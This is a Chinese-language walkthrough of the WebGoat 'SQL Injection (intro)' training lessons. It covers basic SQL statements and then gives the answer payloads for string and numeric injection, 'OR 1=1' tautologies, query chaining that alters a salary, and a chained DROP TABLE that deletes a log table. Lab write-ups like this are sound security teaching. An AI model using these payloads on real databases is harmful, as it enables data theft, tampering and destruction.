WebGoat通关攻略之 SQL Injection (intro)
SQL Injection (intro)
1. What is SQL?
本题练习SQL查询语句,就是写一句SQL获取叫Bob Franco所在的department
SELECT department FROM employees WHERE first_name = 'Bob' AND last_name = 'Franco'
成功通关!
2. Data Manipulation Language (DML)
本题练习的是Update 修改数据,将Tobi Barnett的department改为‘Sales
UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'
成功通关!
3. Data Definition Language (DDL)
本题练习的是Alter 添加数据,在employees表中添加phone(varchar(20))列
ALTER TABLE employees ADD phone varchar(20)
成功通关!
4. Data Control Language (DCL)
本题练习的是数据控制语句,需要授予用户组 “UnauthorizedUser”更改表的权限,在这里,我们可以使用grant授权命令对该用户组进行授权
GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;
成功通关!
5. What is SQL injection?
练习的是SQL注入
"SELECT * FROM users WHERE name = 'Smith' OR 1=1;--'";
6. Try It! String SQL injection
字符串型SQL注入讲解,执行的SQL语句是:
SELECT * FROM use_data WHERE first_name='john' and lastname='Smith or 1=1'
上述SQL语句的意思是:从user_data表中,寻找first_name=‘john’,且last_name='Smith or 1=1’的全部数据,也就是在数据表中,满足条件的一行数据。其中,last_name的内容是由我们控制的。
看到能输入or 1=1,是不是应该有一种使"where"后面出现“xxx or 1=1”的冲动,因为“where xxx or 1=1”这句话,不就跟没得条件一样吗,1=1是恒成立,“xxx or 1=1”恒成立。
那么我们可以这样输入:
如此填写之后,要执行的SQL语句,就会变成这样:
红框中的内容都变成了字符串,那么SQL语句就变成了:
SELECT * FROM use_data WHERE first_name=‘XXX’ or ‘1’='1’这种形式,也就是where后面相当于没条件了。提交数据,可以看到:
成功通关!
7. Try It! Numeric SQL injection
本题目练习的是数字SQL注入,给SQL语句"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;构建一个动态查询,分析SQL语句,以及实验可知,本题的注入点在user_id
原因:本题使用了SQL预编译语句,但是只对Login_Count做了防护,User_Id还是直接带入参数值,因此只能使用user_id作为注入点组成SQL语句。
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1 = 1
成功通关!
8. Compromising confidentiality with String SQL injection
本题练习的是使用String SQL注入破坏机密性,从employee表中检索所有雇员数据
Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;--
成功通关!
9. Compromising Integrity with Query chaining
本题练习的是使用查询链接损害完整性,利用查询链(分号;)破坏数据完整性,也就是修改非授权数据。两个框都可以是注入点
Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;UPDATE employees SET SALARY = 90000 WHERE LAST_NAME = 'Smith';--
成功通关!
10. Compromising Availability
本题要利用字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。要求把表access_log删除,因此用DROP TABLE关键字进行操作即可
我们可以先SELECT一下查看表中都有什么:
3SL99A' OR 1=1;DROP TABLE access_log;--
成功通关!